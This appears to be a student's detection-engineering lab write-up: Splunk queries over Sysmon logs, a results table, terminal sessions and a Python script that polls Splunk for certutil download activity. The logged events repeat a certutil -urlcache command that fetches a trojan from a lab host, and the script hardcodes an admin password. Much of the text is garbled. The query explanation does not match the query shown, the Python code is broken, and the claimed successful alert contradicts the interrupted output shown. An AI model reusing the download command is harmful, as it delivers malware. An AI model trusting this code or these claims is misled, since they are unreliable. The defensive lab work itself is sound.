index=main source="*Sysmon*" "certutil" "<EventID>1</EventID>"
| rex field=_raw "<Data Name='User'>(?<User>[^\<]+)"
| rex field=_raw "<Data Name='CommandLine'>(?<CommandLine>[^\<]+)"
| rex field=_raw "<Data Name='ParentCommandLine'>(?<ParentCommandLine>[^\<]+)"
| rex field=_raw "<Data Name='Hashes'>(?<Hashes>[^\<]+)"
| table _time, User, CommandLine, ParentCommandLine, Hashes
```

Detailed Query Breakdown:

- **index=win_logs EventCode=1 Image="*certutil.exe"** This is the primary filter. It restricts the massive dataset to our Windows log index and looks exclusively for Sysmon Event ID 1 (Process Creation) where the executing program is **certutil.exe**.

- **| rex field=_raw "CommandLine=(?<command_line>[^\r\n]+)"** This uses Regular Expression Extraction (**rex**) on the raw log string. The **(?<command_line>...)** syntax creates a brand new, custom Splunk field. The **[^\r\n]+** expression instructs the engine to capture *every single character* up until it hits a Windows line break, ensuring the entire command string is saved perfectly without bleeding into subsequent log tags.
- **| rex field=_raw ... (ParentCommandLine, User, Hashes)** These subsequent lines mirror the regex logic to cleanly pull out the parent process (e.g., **cmd.exe**), the specific user executing the attack, and the cryptographic file hashes (MD5/SHA256) captured by Sysmon.
- **| search command_line="*-urlcache*" AND command_line="*-f*"** This acts as our behavioral correlation rule. Legitimate administrative uses of **certutil.exe** won't look like this. By filtering explicitly for the **-urlcache** and **-f** (force download) flags, we instantly filter out normal system noise and isolate the exact Living-off-the-Land download behavior.
- **| table _time, execution_user, command_line, parent_cmd, file_hashes** Finally, this formats the parsed regex data into a clean, structured table. This transforms the raw text wall into crisp key-value pairs, making it perfectly ready for the custom Python script to ingest via the API and automatically generate high-visibility incident response advisories.

splunk>enterpriseApps

Administrator3 MessagesSettingsActivityHelpFind

SearchAnalyticsDatasetsReportsAlertsDashboards

Search & Reporting

New Search

Save AsCreate Table ViewClose

index=main source="*Symone" "certutil" "<EventID>1</EventID>"
| rex field=_raw "<Data Name='User'>(<?<User>[^\<]+)"
| rex field=_raw "<Data Name='CommandLine'>(<?<CommandLine>[^\<]+)"
| rex field=_raw "<Data Name='ParentCommandLine'>(<?<ParentCommandLine>[^\<]+)"
| rex field=_raw "<Data Name='Hashes'>(<?<Hashes>[^\<]+)"
| table _time, User, CommandLine, ParentCommandLine, Hashes

All time

22 events (before 7/18/26 11:49:09.000 AM)No Event SamplingJobPauseStopVerbose Mode

Events {22}PatternsStatistics {22}Visualization

20 Per PageFormatPreview

< Prev12Next >

_time	User	CommandLine	ParentCommandLine	Hashes
2026-07-18 11:41:04.693	WIN10-RDP-TARGE\windows	"C:\Windows\system32\certutil.exe" -urlcache -f http://192.168.30.6/fake_trojan.exe C:\Users\Public\hidden_trojan.exe	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"	SHA256=BF072F9A6A15B550B13AE86A4FB03FA1
2026-07-18 11:37:49.722	WIN10-RDP-TARGE\windows	"C:\Windows\system32\certutil.exe" -urlcache -f http://192.168.30.6/fake_trojan.exe C:\Users\Public\hidden_trojan.exe	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"	SHA256=BF072F9A6A15B550B13AE86A4FB03FA1
2026-07-18 10:34:25.868	WIN10-RDP-TARGE\windows	"C:\Windows\system32\certutil.exe" -urlcache -f http://192.168.30.6/fake_trojan.exe C:\Users\Public\hidden_trojan.exe	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"	SHA256=BF072F9A6A15B550B13AE86A4FB03FA1
2026-07-18 10:28:22.436	WIN10-RDP-TARGE\windows	"C:\Windows\system32\certutil.exe" -urlcache -f http://192.168.30.6/fake_trojan.exe C:\Users\Public\hidden_trojan.exe	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"	SHA256=BF072F9A6A15B550B13AE86A4FB03FA1
2026-07-18 10:26:34.977	WIN10-RDP-TARGE\windows	"C:\Windows\system32\certutil.exe" -urlcache -f http://192.168.30.6/fake_trojan.exe C:\Users\Public\hidden_trojan.exe	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"	SHA256=BF072F9A6A15B550B13AE86A4FB03FA1
2026-07-17 17:58:44.846	WIN10-RDP-TARGE\windows	"C:\Windows\system32\certutil.exe" -urlcache -f http://192.168.30.6/fake_trojan.exe C:\Users\Public\hidden_trojan.exe	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"	SHA256=BF072F9A6A15B550B13AE86A4FB03FA1
2026-07-17 17:17:47.344	WIN10-RDP-TARGE\windows	"C:\Windows\system32\certutil.exe" -urlcache -f http://192.168.30.6/fake_trojan.exe C:\Users\Public\hidden_trojan.exe	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"	SHA256=BF072F9A6A15B550B13AE86A4FB03FA1
2026-07-17 17:08:23.753	WIN10-RDP-TARGE\windows	"C:\Windows\system32\certutil.exe" -urlcache -f	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"	SHA256=BF072F9A6A15B550B13AE86A4FB03FA1

```
[khan@archlinux ~]$ sudo pacman -S --noconfirm python-requests
[sudo] password for khan:
resolving dependencies...
looking for conflicting packages...

Packages (1) python-requests-2.34.2-1

Total Download Size:    0.14 MiB
Total Installed Size:  0.76 MiB
Net Upgrade Size:      0.00 MiB

:: Proceed with installation? [Y/n]
:: Retrieving packages...
  python-requests-2.34.2-1-any           145.7 KiB   133 KiB/s  00:01 [#####] 100%
(1/1) checking keys in keyring           [#####] 100%
(1/1) checking package integrity         [#####] 100%
(1/1) loading package files              [#####] 100%
(1/1) checking for file conflicts        [#####] 100%
(1/1) checking available disk space      [#####] 100%
:: Processing package changes...
(1/1) upgrading python-requests          [#####] 100%
:: Running post-transaction hooks...
(1/1) Arming ConditionNeedsUpdate
```

sudo pacman -S --noconfirm python-requests

- **sudo** (*SuperUser Do*): Escalates your terminal privileges to administrative/root level. Windows equivalent: "Run as Administrator."
- **pacman**: The default system package manager for Arch Linux. It handles finding, downloading, installing, and upgrading software from repositories.
- **-S (Sync)**: The primary action flag for pacman. It tells the package manager to synchronize and download a fresh package from the master mirrors down onto your local machine.
- **--noconfirm**: A automation-friendly bypass flag. It tells the package manager to automatically answer "yes" to any installation prompts or disk-space warnings instead of waiting for you to hit Enter.
- **python-requests**: The precise package name being downloaded. It is an industry-standard Python library used for making programmatic web requests (like interacting with API endpoints).

```
[khan@archlinux ~]$ nano ~/sbp_lab2/ai_triage_engine.py [khan@archlinux ~]$ nano ~/sbp_lab2/ai_triage_engine.py
[khan@archlinux ~]$ python3 ~/sbp_lab2/ai_triage_engine.py
[+] SBP Autonomous Triage Middleware Engine Online.
[.] Constantly scraping pipeline for indicators of compromise...
^CTraceback (most recent call last):
```

nano ~/sbp_lab2/ai_triage_engine.py

- **nano**: A lightweight, terminal-based text editor built directly into Linux.
- **~ (Tilde)**: A shortcut variable that stands for the current user's Home directory (e.g., `/home/username/`).

- **/sbp_lab2/**: The specific project folder directory where your script is being safely isolated.
- **ai_triage_engine.py**: The name of the file you are creating or editing. The **.py** extension explicitly registers it to use Python formatting.

```

GNU nano 8.7 /home/khan/sbp_lab2/at triage-engine.py
import requests
import json
import urllib3
import time

# Block self-signed certificate warnings inside our lab sandbox
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

SPLUNK_API_HOST = "https://192.168.30.4:8089" # Splunk's backend system API port
SPLUNK_USER = "admin"
SPLUNK_PASSWORD = "rcfAt6fivGtdAH" # <-- Swap this with your actual Splunk admin password

# Our optimized hunting macro formatted explicitly for programmatic queries
SYS_SEARCH = [
    'search index=main sourcetype=System "certutil" -<EventID=1-|EventID= '
    '| rex field=_raw "<data Name=\\lsass\\|<rdssr[-<2]" '
    '| rex field=_raw "<data Name=\\CommandLine\\>|<?<CommandLine|<[-<]" '
    '| rex field=_raw "<data Name=\\ParentCommandLine\\<|<?<ParentCommandLine|<[-<]" '
    '| rex field=_raw "<data Name=\\Image\\>|<?<Image|<[-<]" '
    '| eval host=Win18-RDP-Target, exe_file=certutil.exe, ParentImage=ParentCommandLine '
    '| table host, User, exe_file, CommandLine, ParentImage'
]

def retrieve_siem_telemetry():
    url_endpoint = f"{SPLUNK_API_HOST}/services/search/v2/jobs/export"
    query_parameters = {
        "search": SYS_SEARCH,
        "exec_mode": "oneshot",
        "earliest_time": ">5m",
        "latest_time": "now",
        "output_mode": "json"
    }

    try:
        response = requests.post(url_endpoint, data=query_parameters, auth=(SPLUNK_USER, SPLUNK_PASSWORD), verify=False)
        if response.status_code == 200:
            parsed_events = []
            for lines in response.text.strip().split("\n"):
                if lines:
                    json_data = json.loads(lines)
                    if 'result' in json_data:
                        parsed_events.append(json_data['result'])
            return parsed_events
        except Exception as network_error:
            print(f"[+] SIEM Communication Error: {network_error}")
            return []

def execute_autonomous_at_triage(event_payload):
    print("\n\n" + "*" * 60)
    print(f"[+] ALERT TRIGGERED: Living-off-the-Land Attack Intercepted")
    print("*" * 60)

# Help
# Exit
# Write Out
# Read File
# Where Is
# Replace
# Cut
# Paste
# Execute
# Justify
# Location
# Go To Line
# Undo
# Redo
# Set Mark
# Copy
# To Bracket
# Where Was
# Previous
# Next
# Back
# Forward
# Prev Word
# Next Word
# Home
# End

```

The terminal window shows the execution of the Python script. The output indicates that the SIEM communication was successful, and the alert triggered for a Living-off-the-Land Attack Intercepted. The terminal also displays a list of keyboard shortcuts for the nano editor.

```
python3 ~/sbp_lab2/ai_triage_engine.py
```

- **python3**: The binary environment engine that executes code written in Python 3. It reads the raw script files and translates them into live system operations.
- **~/sbp_lab2/ai_triage_engine.py**: The target path argument feeding your newly written detection logic straight into the Python execution engine.

Architectural Component: Autonomous Triage Middleware Engine


1. High-Level Purpose: SOC Automation (SOAR)

This Python script serves as a lightweight SOAR (Security Orchestration, Automation, and Response) pipeline. Its primary objective is to eliminate the requirement for a human

security analyst to manually refresh, query, and monitor a SIEM dashboard for critical alerts. Instead, it transforms the security operations center (SOC) from a human-dependent reactive model into a machine-driven proactive architecture.

2. Functional Breakdown of the Code Logic

- **The Polling Loop (Continuous Scraping):** The script executes an infinite **while True** loop that actively queries the SIEM backend at a structured time interval (every 10 seconds).
- **Programmatic API Integration (**requests**):** Rather than interacting with the human graphical web interface on port **8000**, the script leverages programmatic API requests to target Splunk's management port on **8089** using automated **POST** requests.
- **On-The-Fly Regex Parsing (**regex**):** The script sends an optimized search query directly to Splunk. Since the raw Sysmon XML telemetry is complex and heavily packed with data noise, the script forces Splunk to dynamically extract fields—such as the active user context, exact command-line switches, and parent process executables—on the fly using regular expressions.
- **Autonomous Decision & Triage Profile:** When the script receives data packets back from the API endpoint, it immediately processes the data array. If malicious activities are identified (such as the Living-off-the-Land **certutil** command), it bypasses the console dashboards entirely and generates a high-visibility incident response advisory containing remediation steps, asset names, and severity risk levels instantly.



Conclusion & Reflection

This project successfully achieved its core objective: engineering an end-to-end detection engineering pipeline that simulates an advanced Living-off-the-Land attack, ingests enterprise-level logs, and builds an automated programmatic triage engine. Through this lab, I learned how to move beyond static dashboard monitoring by leveraging Python scripts to query SIEM backend interfaces directly via APIs. The journey wasn't without its challenges; I hit a massive roadblock when my Sysmon logs completely vanished in Splunk due to a hidden permission lockout (`errorCode=5`) stemming from the Windows Universal Forwarder service credentials. I managed to get unstuck by systematically digging through the backend logs, reconfiguring the service to execute with high-privilege permissions, and deploying custom regex (`rex`) macros to perfectly clean up the unparsed XML data streams. Throughout this lifecycle, I collaborated closely with Gemini to break down complex architectural concepts, debug script configuration syntax errors, and refine the final documentation layout. I am incredibly satisfied with the outcome of this project. Seeing the entire multi-machine virtual environment—from the Python staging web server and the autonomous middleware script engine to the verified Splunk analytics table and the active PowerShell simulation window—all operating in seamless integration on my host machine confirms that the detection pipeline is fully functional, robust, and ready for deployment.